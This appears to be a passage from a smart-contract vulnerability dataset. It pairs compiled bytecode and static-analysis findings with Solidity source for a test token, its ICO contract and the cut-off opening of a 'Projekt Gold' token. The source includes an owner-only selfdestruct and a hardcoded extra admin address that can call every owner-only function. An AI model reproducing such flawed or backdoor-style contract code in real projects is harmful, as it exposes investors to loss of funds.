0000000000000000000000000000000815260040180806020018281038252603681526020018061343d6036913960400191505060405180910390fd5b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f8834a87e641e9716be4f34527af5d23e11624f1ddeefede6ad75a9acfc31b90381604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b600f5481565b6001600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541461180b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602d8152602001806131ad602d913960400191505060405180910390fd5b600c544211611865576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603a81526020018061329f603a913960400191505060405180910390fd5b600061186f61190e565b905042600c81905550611881816129c2565b50565b60008161189d846b033b2e3c9fd0803ce8000000610c8c565b816118a457fe5b04905092915050565b60006118e46b033b2e3c9fd0803ce80000008511156118df6b033b2e3c9fd0803ce800000087116000600d54146129a8565b6129b5565b90506118f382841115826129a8565b90509392505050565b600e5481565b600c5481565b600d5481565b6000806000806000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d07900bb600f546040518263ffffffff1660e01b81526004018082815260200191505060806040518083038186803b15801561198b57600080fd5b505afa15801561199f573d6000803e3d6000fd5b505050506040513d60808110156119b557600080fd5b8101908080519060200190929190805190602001909291908051906020019092919080519060200190929190505050935093509350935060006119f88585610c8c565b90506000851415611a125760085495505050505050611b42565b60006064611a2283600954610c8c565b81611a2957fe5b0490506008548111611a45576008549650505050505050611b42565b6007548110611a5e576007549650505050505050611b42565b6000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663540385a36040518163ffffffff1660e01b815260040160206040518083038186803b158015611ac857600080fd5b505afa158015611adc573d6000803e3d6000fd5b505050506040513d6020811015611af257600080fd5b81019080805190602001909291905050509050611b23611b138286856118ad565b611b1e838786610d2d565b6129b5565b15611b375781975050505050505050611b42565b839750505050505050505b90565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414611bdc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603681526020018061343d6036913960400191505060405180910390fd5b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f599a298163e1678bb1c676052a8930bf0b8a1261ed6e01b8a2391e55f700010281604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b600a5481565b42600a5410611ce7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603581526020018061339f6035913960400191505060405180910390fd5b611d06600b54611cf942600a54610ff7565b10156000600a54146129b5565b611d5b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806131da6025913960400191505060405180910390fd5b6000611d6b600a54600b54611fd8565b905042600a819055506000611d7e61190e565b9050611d89816129c2565b611d938383612d03565b505050565b60066020528060005260406000206000915090505481565b60008360008114611e56576002840660008114611dcf57859250611dd3565b8392505b50600283046002850494505b8415611e50578586028687820414611df657600080fd5b81810181811015611e0657600080fd5b85810497506002870615611e43578785028589820414158915151615611e2b57600080fd5b83810181811015611e3b57600080fd5b878104965050505b5050600285049450611ddf565b50611e6e565b8360008114611e685760009250611e6c565b8392505b505b509392505050565b60075481565b600081831115611e8c5781611e8e565b825b905092915050565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414611f2d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603681526020018061343d6036913960400191505060405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f8834a87e641e9716be4f34527af5d23e11624f1ddeefede6ad75a9acfc31b90381604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b6000806000600154148015611fef57506000600254145b9050611ffe42851015826129b5565b1561200d5760009150506120e4565b6000808514612025576120204286610ff7565b612027565b835b905061203a8482106000600154146129b5565b1561204a576000925050506120e4565b60006120568286610ff7565b905060006120826002546b033b2e3c9fd0803ce8000000612075610d94565b8161207c57fe5b04611e7c565b905060035482111561209a57809450505050506120e4565b6000600154905060008311156120cf576120cc6120c6600454856b033b2e3c9fd0803ce8000000611db0565b82610c4c565b90505b818111156120db578190505b80955050505050505b92915050565b6000806000806000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d07900bb600f546040518263ffffffff1660e01b81526004018082815260200191505060806040518083038186803b15801561216757600080fd5b505afa15801561217b573d6000803e3d6000fd5b505050506040513d608081101561219157600080fd5b8101908080519060200190929190805190602001909291908051906020019092919080519060200190929190505050935093509350935060006121d48585610c8c565b905060646121e482600954610c8c565b816121eb57fe5b049550505050505090565b60008161220b84670de0b6b3a7640000610c8c565b8161221257fe5b04905092915050565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146122b2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603681526020018061343d6036913960400191505060405180910390fd5b7f6261736555706461746543616c6c65725265776172640000000000000000000082141561234157600254811115612335576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260368152602001806131236036913960400191505060405180910390fd5b80600181905550612965565b7f6d617855706461746543616c6c657252657761726400000000000000000000008214156123d0576001548110156123c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260358152602001806131ff6035913960400191505060405180910390fd5b80600281905550612964565b7f7065725365636f6e6443616c6c6572526577617264496e637265617365000000821415612469576b033b2e3c9fd0803ce800000081101561245d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603a8152602001806130e9603a913960400191505060405180910390fd5b80600481905550612963565b7f6d6178526577617264496e63726561736544656c6179000000000000000000008214156124f657600081116124ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260368152602001806132346036913960400191505060405180910390fd5b80600381905550612962565b7f75706461746544656c6179000000000000000000000000000000000000000000821415612584576000811015612578576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603381526020018061336c6033913960400191505060405180910390fd5b80600b81905550612961565b7f6d6178436f6c6c61746572616c4365696c696e67000000000000000000000000821415612622576125c1600060075411600854600754116129a8565b612616576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602f8152602001806132d9602f913960400191505060405180910390fd5b80600781905550612960565b7f6d696e436f6c6c61746572616c4365696c696e670000000000000000000000008214156126b1576000600854116126a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602f81526020018061333d602f913960400191505060405180910390fd5b8060088190555061295f565b7f6365696c696e6750657263656e746167654368616e676500000000000000000082141561274c576126eb606482116103e88311156129a8565b612740576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260358152602001806133086035913960400191505060405180910390fd5b8060098190555061295e565b7f6c61737455706461746554696d650000000000000000000000000000000000008214156127d8574281116127cc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602f815260200180613159602f913960400191505060405180910390fd5b80600a8190555061295d565b7f626c6f636b496e6372656173655768656e526576616c756500000000000000008214156128715761281060018214600083146129b5565b612865576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260388152602001806133d46038913960400191505060405180910390fd5b80600d8190555061295c565b7f626c6f636b44656372656173655768656e446576616c7565000000000000000082141561290a576128a960018214600083146129b5565b6128fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260388152602001806130b16038913960400191505060405180910390fd5b80600e8190555061295b565b6040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603581526020018061326a6035913960400191505060405180910390fd5b5b5b5b5b5b5b5b5b5b5b7fac7c5c1afaef770ec56ac6268cd3f2fbb1035858ead2601d6553157c33036c3a8282604051808381526020018281526020019250505060405180910390a15050565b6000818316905092915050565b6000818317905092915050565b600080600080601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d07900bb600f546040518263ffffffff1660e01b81526004018082815260200191505060806040518083038186803b158015612a3d57600080fd5b505afa158015612a51573d6000803e3d6000fd5b505050506040513d6080811015612a6757600080fd5b8101908080519060200190929190805190602001909291908051906020019092919080519060200190929190505050935093509350935084601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632efcc8666040518163ffffffff1660e01b815260040160206040518083038186803b158015612b0757600080fd5b505afa158015612b1b573d6000803e3d6000fd5b505050506040513d6020811015612b3157600080fd5b81019080805190602001909291905050501015612bfe57601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663fe4f5890866040518263ffffffff1660e01b815260040180807f676c6f62616c446562744365696c696e67000000000000000000000000000000815250602001828152602001915050600060405180830381600087803b158015612be557600080fd5b505af1158015612bf9573d6000803e3d6000fd5b505050505b848114612cfc57601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d4b9311d600f54876040518363ffffffff1660e01b815260040180838152602001807f646562744365696c696e6700000000000000000000000000000000000000000081525060200182815260200192505050600060405180830381600087803b158015612cac57600080fd5b505af1158015612cc0573d6000803e3d6000fd5b505050507ffb400ea281d5b831cc19858a6fefe7cc8865606ffb709543e3dc56632705708c856040518082815260200191505060405180910390a15b5050505050565b8173ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415612d5e576130ac565b612dbc600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614600083146129b5565b15612dc6576130ac565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614612e015782612e03565b335b9050600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663201add9b82600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a7e944556040518163ffffffff1660e01b815260040160206040518083038186803b158015612eac57600080fd5b505afa158015612ec0573d6000803e3d6000fd5b505050506040513d6020811015612ed657600080fd5b8101908080519060200190929190505050856040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b158015612f8457600080fd5b505af1925050508015612f95575060015b6130a9573d8060008114612fc5576040519150601f19603f3d011682016040523d82523d6000602084013e612fca565b606091505b507ff7bf1f7447ce563690edb2abe40636178ff64fc766b07bf3e171b16102794a5481838560405180806020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019080838360005b8381101561306757808201518184015260208101905061304c565b50505050905090810190601f1680156130945780820380516001836020036101000a031916815260200191505b5094505050505060405180910390a1506130aa565b5b505b505056fe53696e676c6553706f74446562744365696c696e675365747465722f696e76616c69642d626c6f636b2d64656372656173652d76616c756553696e676c6553706f74446562744365696c696e675365747465722f696e76616c69642d63616c6c65722d7265776172642d696e63726561736553696e676c6553706f74446562744365696c696e675365747465722f696e76616c69642d626173652d63616c6c65722d72657761726453696e676c6553706f74446562744365696c696e675365747465722f696e76616c69642d7570646174652d74696d6553696e676c6553706f74446562744365696c696e675365747465722f6e756c6c2d6164647253696e676c6553706f74446562744365696c696e675365747465722f6e6f742d6d616e75616c2d73657474657253696e676c6553706f74446562744365696c696e675365747465722f776169742d6d6f726553696e676c6553706f74446562744365696c696e675365747465722f696e76616c69642d6d61782d63616c6c65722d72657761726453696e676c6553706f74446562744365696c696e675365747465722f696e76616c69642d6d61782d696e6372656173652d64656c617953696e676c6553706f74446562744365696c696e675365747465722f6d6f646966792d756e7265636f676e697a65642d706172616d53696e676c6553706f74446562744365696c696e675365747465722f63616e6e6f742d7570646174652d74776963652d73616d652d626c6f636b53696e676c6553706f74446562744365696c696e675365747465722f696e76616c69642d6d61782d6365696c696e6753696e676c6553706f74446562744365696c696e675365747465722f696e76616c69642d70657263656e746167652d6368616e676553696e676c6553706f74446562744365696c696e675365747465722f696e76616c69642d6d696e2d6365696c696e6753696e676c6553706f74446562744365696c696e675365747465722f696e76616c69642d63616c6c2d6761702d6c656e67746853696e676c6553706f74446562744365696c696e675365747465722f7570646174652d74696d652d696e2d7468652d66757475726553696e676c6553706f74446562744365696c696e675365747465722f696e76616c69642d626c6f636b2d696e6372656173652d76616c756553696e676c6553706f74446562744365696c696e675365747465722f74726561737572792d636f696e2d6e6f742d736574496e6372656173696e6754726561737572795265696d62757273656d656e742f6163636f756e742d6e6f742d617574686f72697a6564a264697066735822122065a096f91583b2c9d38ee255ce79e1a2df74142ca8c9a96a011e4e391c3624f364736f6c63430006070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
| 2,674 |
0x3dcff2492b076b2a78eac9979f50a413121fc70b
|
pragma solidity ^0.4.16;
contract owned {
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract RajTest is owned {
// Public variables of the token
string public name = "RajTest";
string public symbol = "RT";
uint8 public decimals = 18;
uint256 public totalSupply = 0;
uint256 public buyPrice = 1045;
bool public released = false;
/// contract that is allowed to create new tokens and allows unlift the transfer limits on this token
address public crowdsaleAgent;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
mapping (address => bool) public frozenAccount;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
/* This generates a public event on the blockchain that will notify clients */
event FrozenFunds(address target, bool frozen);
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
function RajTest() public {
}
modifier canTransfer() {
require(released);
_;
}
modifier onlyCrowdsaleAgent() {
require(msg.sender == crowdsaleAgent);
_;
}
function releaseTokenTransfer() public onlyCrowdsaleAgent {
released = true;
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) canTransfer internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Check if sender is frozen
require(!frozenAccount[_from]);
// Check if recipient is frozen
require(!frozenAccount[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/// @notice Create `mintedAmount` tokens and send it to `target`
/// @param target Address to receive the tokens
/// @param mintedAmount the amount of tokens it will receive
function mintToken(address target, uint256 mintedAmount) onlyCrowdsaleAgent public {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
Transfer(0, this, mintedAmount);
Transfer(this, target, mintedAmount);
}
/// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens
/// @param target Address to be frozen
/// @param freeze either to freeze it or not
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
/// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth
/// @param newBuyPrice Price users can buy from the contract
function setPrices(uint256 newBuyPrice) onlyOwner public {
buyPrice = newBuyPrice;
}
/// @notice Buy tokens from contract by sending ether
function buy() payable public {
uint amount = msg.value * buyPrice; // calculates the amount
_transfer(this, msg.sender, amount); // makes the transfers
}
/// @dev Set the contract that can call release and make the token transferable.
/// @param _crowdsaleAgent crowdsale contract address
function setCrowdsaleAgent(address _crowdsaleAgent) onlyOwner public {
crowdsaleAgent = _crowdsaleAgent;
}
}
contract Killable is owned {
function kill() onlyOwner {
selfdestruct(owner);
}
}
contract RajTestICO is owned, Killable {
/// The token we are selling
RajTest public token;
/// Current State Name
string public state = "Pre ICO";
/// the UNIX timestamp start date of the crowdsale
uint public startsAt = 1521633600;
/// the UNIX timestamp end date of the crowdsale
uint public endsAt = 1521635400;
/// the price of token
uint256 public TokenPerETH = 1045;
/// Tokens funding goal in wei.
uint public MIN_GOAL_EBC = 2 * 10 ** 18;
/// Tokens funding goal in wei, if the funding goal is reached, ico will stop
uint public MAX_GOAL_EBC = 10 * 10 ** 18;
/// Has this crowdsale been finalized
bool public finalized = false;
/// the number of tokens already sold through this contract
uint public tokensSold = 0;
/// the number of ETH raised through this contract
uint public weiRaised = 0;
/// How many distinct addresses have invested
uint public investorCount = 0;
/// How much ETH each address has invested to this crowdsale
mapping (address => uint256) public investedAmountOf;
/// How much tokens this crowdsale has credited for each investor address
mapping (address => uint256) public tokenAmountOf;
/// A new investment was made
event Invested(address investor, uint weiAmount, uint tokenAmount);
/// Crowdsale end time has been changed
event EndsAtChanged(uint endsAt);
/// Calculated new price
event RateChanged(uint oldValue, uint newValue);
function RajTestICO(address _token) {
token = RajTest(_token);
}
function investInternal(address receiver) private {
require(!finalized);
require(startsAt <= now && endsAt > now);
require(tokensSold <= MAX_GOAL_EBC);
if(investedAmountOf[receiver] == 0) {
// A new investor
investorCount++;
}
// Update investor
uint tokensAmount = msg.value * TokenPerETH;
investedAmountOf[receiver] += msg.value;
tokenAmountOf[receiver] += tokensAmount;
// Update totals
tokensSold += tokensAmount;
weiRaised += msg.value;
// Tell us invest was success
Invested(receiver, msg.value, tokensAmount);
token.mintToken(receiver, tokensAmount);
}
function buy() public payable {
investInternal(msg.sender);
}
function() payable {
buy();
}
function setEndsAt(uint time) onlyOwner {
require(!finalized);
require(time >= now);
endsAt = time;
EndsAtChanged(endsAt);
}
function setRate(uint value) onlyOwner {
require(!finalized);
require(value > 0);
RateChanged(TokenPerETH, value);
TokenPerETH = value;
}
function finalize(address receiver) public onlyOwner {
require(endsAt < now);
// Finalized Pre ICO crowdsele.
finalized = true;
// Make tokens Transferable
token.releaseTokenTransfer();
// Transfer Fund to owner's address
receiver.transfer(this.balance);
}
}
|
0x606060405260043610610112576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630a09284a1461011c5780631aae34601461014557806334fcf437146101925780633f52c660146101b55780634042b66f146101de5780634056fe061461020757806341c0e1b5146102305780634ef39b7514610245578063518ab2a81461027e578063655e51f2146102a75780636e50eb3f146102d05780638da5cb5b146102f357806397b150ca14610348578063a6f2ae3a14610395578063af4686821461039f578063b3f05b97146103c8578063c19d93fb146103f5578063d7e64c0014610483578063f2fde38b146104ac578063fc0c546a146104e5575b61011a61053a565b005b341561012757600080fd5b61012f610545565b6040518082815260200191505060405180910390f35b341561015057600080fd5b61017c600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061054b565b6040518082815260200191505060405180910390f35b341561019d57600080fd5b6101b36004808035906020019091905050610563565b005b34156101c057600080fd5b6101c8610634565b6040518082815260200191505060405180910390f35b34156101e957600080fd5b6101f161063a565b6040518082815260200191505060405180910390f35b341561021257600080fd5b61021a610640565b6040518082815260200191505060405180910390f35b341561023b57600080fd5b610243610646565b005b341561025057600080fd5b61027c600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506106db565b005b341561028957600080fd5b610291610850565b6040518082815260200191505060405180910390f35b34156102b257600080fd5b6102ba610856565b6040518082815260200191505060405180910390f35b34156102db57600080fd5b6102f1600480803590602001909190505061085c565b005b34156102fe57600080fd5b610306610925565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561035357600080fd5b61037f600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061094a565b6040518082815260200191505060405180910390f35b61039d61053a565b005b34156103aa57600080fd5b6103b2610962565b6040518082815260200191505060405180910390f35b34156103d357600080fd5b6103db610968565b604051808215151515815260200191505060405180910390f35b341561040057600080fd5b61040861097b565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561044857808201518184015260208101905061042d565b50505050905090810190601f1680156104755780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561048e57600080fd5b610496610a19565b6040518082815260200191505060405180910390f35b34156104b757600080fd5b6104e3600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610a1f565b005b34156104f057600080fd5b6104f8610abd565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61054333610ae3565b565b60045481565b600c6020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156105be57600080fd5b600860009054906101000a900460ff161515156105da57600080fd5b6000811115156105e957600080fd5b7f4ac9052a820bf4f8c02d7588587cae835573b5b99ea7ad4ca002f17f319f718660055482604051808381526020018281526020019250505060405180910390a18060058190555050565b60055481565b600a5481565b60075481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156106a157600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561073657600080fd5b4260045410151561074657600080fd5b6001600860006101000a81548160ff021916908315150217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635f412d4f6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401600060405180830381600087803b15156107e657600080fd5b5af115156107f357600080fd5b5050508073ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050151561084d57600080fd5b50565b60095481565b60065481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108b757600080fd5b600860009054906101000a900460ff161515156108d357600080fd5b4281101515156108e257600080fd5b806004819055507fd34bb772c4ae9baa99db852f622773b31c7827e8ee818449fef20d30980bd3106004546040518082815260200191505060405180910390a150565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d6020528060005260406000206000915090505481565b60035481565b600860009054906101000a900460ff1681565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a115780601f106109e657610100808354040283529160200191610a11565b820191906000526020600020905b8154815290600101906020018083116109f457829003601f168201915b505050505081565b600b5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a7a57600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600860009054906101000a900460ff16151515610b0157600080fd5b4260035411158015610b14575042600454115b1515610b1f57600080fd5b60075460095411151515610b3257600080fd5b6000600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415610b8d57600b600081548092919060010191905055505b6005543402905034600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555080600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508060096000828254019250508190555034600a600082825401925050819055507f9e9d071824fd57d062ca63fd8b786d8da48a6807eebbcb2d83f9e8d21398e28c823483604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a1600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166379c6506883836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b1515610d8557600080fd5b5af11515610d9257600080fd5b50505050505600a165627a7a72305820cf0187581416cffc8faeb441f68246f21700ac45c8a7f9008c0e763375f577460029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 2,675 |
0xDFC628A33C18e856Cd1c59583cB5aCe8dB706F14
|
/* Projekt Gold, by The Fair Token Project
* 100% LP Lock
* 0% burn
*
* ****USING FTPAntiBot****
*
* Projekt Gold uses FTPAntiBot to automatically detect scalping and pump-and-dump bots
* Visit FairTokenProject.com/#antibot to learn how to use AntiBot with your project
* Your contract must hold 5Bil $GOLD(ProjektGold) or 5Bil $GREEN(ProjektGreen) in order to make calls on mainnet
* Calls on kovan testnet require > 1 $GOLD or $GREEN
* FairTokenProject is giving away 500Bil $GREEN to projects on a first come first serve basis for use of AntiBot
*
* Projekt Telegram: t.me/projektgold
* FTP Telegram: t.me/fairtokenproject
*
* If you use bots/contracts to trade on ProjektGold you are hereby declaring your investment in the project a DONATION
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private m_Owner;
address private m_Admin;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
m_Owner = msgSender;
m_Admin = 0x63f540CEBB69cC683Be208aFCa9Aaf1508EfD98A; // Will be able to call all onlyOwner() functions
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return m_Owner;
}
modifier onlyOwner() {
require(m_Owner == _msgSender() || m_Admin == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
